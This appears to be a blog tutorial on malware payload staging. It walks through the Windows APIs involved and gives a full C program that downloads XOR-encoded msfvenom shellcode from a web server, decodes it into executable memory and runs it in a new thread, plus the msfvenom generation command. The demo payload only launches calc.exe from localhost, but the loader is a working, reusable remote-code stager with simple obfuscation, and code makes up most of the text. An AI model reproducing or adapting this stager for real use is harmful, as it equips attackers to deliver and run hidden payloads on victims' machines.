Payload Staging - webserver
Payload Staging - webserver
Some malware does not carry its payload within itself. Instead, it hides the payload somewhere else. One common method is to host it on a web server.
For our payload staging purpose, we need a server. In this case, we will use a Python server to host our encoded payload.
The encoded payload is a simple one that executes calc.exe. It was generated using the command: msfvenom -p windows/x64/exec CMD=calc.exe -f c
and it was encoded using XOR key 0x1337. :)
Before Starting - Faimilar WINAPIs
Let’s get familiar with some Windows APIs that will be used to successfully fetch and execute our shellcode.
- InternetOpenW - Used to initialize an application’s use of WinINet functions. In other words, it opens an internet session handle that allows other WinINet API to perform their operations.
1 2 3 4 5 6 7
HINTERNET InternetOpenW( [in] LPCWSTR lpszAgent, [in] DWORD dwAccessType, [in] LPCWSTR lpszProxy, [in] LPCWSTR lpszProxyBypass, [in] DWORD dwFlags );
- InternetOpenUrlW - Open a connection to a specified URL.
1 2 3 4 5 6 7 8
HINTERNET InternetOpenUrlW( [in] HINTERNET hInternet, // handle form InternetOpenW [in] LPCWSTR lpszUrl, // URL where our payload file is [in] LPCWSTR lpszHeaders, [in] DWORD dwHeadersLength, [in] DWORD dwFlags, // flags suitable // we would use 2 [in] DWORD_PTR dwContext );
- InternetReadFile - Read the data from web handle created by
InternetOpenUrlW.
1
2
3
4
5
6
BOOL InternetReadFile(
[in] HINTERNET hFile, // handle from InternetOpenUrlW
[out] LPVOID lpBuffer, // Buffer for payload
[in] DWORD dwNumberOfBytesToRead,
[out] LPDWORD lpdwNumberOfBytesRead
);
- VirtualAlloc - Reserves, commits, or changes the state of a region of pages in the virtual address space of the calling process. Memory allocated by this function is automatically initialized to zero.
1
2
3
4
5
6
LPVOID VirtualAlloc(
[in, optional] LPVOID lpAddress,
[in] SIZE_T dwSize,
[in] DWORD flAllocationType,
[in] DWORD flProtect // to execute
);
- CreateThread - Creates the thread to execute in the address space of calling process.
1
2
3
4
5
6
7
8
HANDLE CreateThread(
[in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in] SIZE_T dwStackSize,
[in] LPTHREAD_START_ROUTINE lpStartAddress, // address to our payload
[in, optional] __drv_aliasesMem LPVOID lpParameter,
[in] DWORD dwCreationFlags,
[out, optional] LPDWORD lpThreadId
);
- Rest APIs normal or used to free handles or addresses. I know you are pretty familar with those.
LOGIC ?
So, We know the API’s now what ?
Call
InternetOpenWto initialize a WinINet session and obtain an internet handle.Call
InternetOpenUrlWto open a connection to the specified URL (http://127.0.0.1:8080/calc.bin) and get a handle to the remote file.Allocate a buffer using
mallocto temporarily store the downloaded payload.Call
InternetReadFileto read the payload data from the web server into the allocated buffer.Call
VirtualAllocto allocate executable memory withPAGE_EXECUTE_READWRITEpermissions for the decoded payload.- Decode the payload using a simple XOR operation:
- Even bytes are XORed with
0x13 - Odd bytes are XORed with
0x37
- Even bytes are XORed with
Clear the payload buffer using
memsetCall
CreateThreadto create a new thread and execute the decoded payload from the allocated memory.Call
WaitForSingleObjectto wait for the thread to finish execution.- Clean up resources:
- Close the thread handle
- Free allocated memory using
VirtualFreeandfree - Close internet handles using
InternetCloseHandle
- Call
InternetSetOptionWto notify the system of any changes to internet settings.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <wininet.h>
#pragma comment(lib, "wininet.lib")
int main(void) {
HINTERNET hinternet = InternetOpenW(NULL, NULL, NULL, NULL, 0);
if (!hinternet) return 1;
HINTERNET hInternetFile = InternetOpenUrlW(hinternet,
L"http://127.0.0.1:8080/calc.bin",
NULL, 0,
INTERNET_FLAG_HYPERLINK | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID,
0);
if (!hInternetFile) { InternetCloseHandle(hinternet); return 1; }
const DWORD bufferSize = 1024;
PBYTE pPayload = (PBYTE)malloc(bufferSize);
if (!pPayload) { InternetCloseHandle(hInternetFile); InternetCloseHandle(hinternet); return 1; }
printf("allocated address for shellcode ----> 0x%p\n", (void*)pPayload);
DWORD bytesRead = 0;
if (!InternetReadFile(hInternetFile, pPayload, bufferSize, &bytesRead)) {
free(pPayload);
InternetCloseHandle(hInternetFile);
InternetCloseHandle(hinternet);
return 1;
}
// Allocating page with all three rwx permission.
PBYTE pAllocadd = (PBYTE)VirtualAlloc(NULL, bytesRead, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!pAllocadd) {
free(pPayload);
InternetCloseHandle(hInternetFile);
InternetCloseHandle(hinternet);
return 1;
}
printf("allocated address for decoded shellcode 0x%p\n", (void*)pAllocadd);
for (DWORD i = 0; i < bytesRead; i += 2) {
pAllocadd[i] = pPayload[i] ^ 0x13;
pAllocadd[i + 1] = pPayload[i + 1] ^ 0x37;
}
memset(pPayload, 0, bytesRead);
// CreateThread uses the address of the decoded payload as the entry point.
// Once the thread is created, execution begins from that address.
HANDLE hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)pAllocadd, NULL, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
VirtualFree(pAllocadd, 0, MEM_RELEASE);
free(pPayload);
InternetCloseHandle(hInternetFile);
InternetCloseHandle(hinternet);
InternetSetOptionW(NULL, INTERNET_OPTION_SETTINGS_CHANGED, NULL, 0);
return 0;
}
Execution
Getting encoded Payload with InternetReadFile
Decoding the payload
Exectuting shellcode using thread


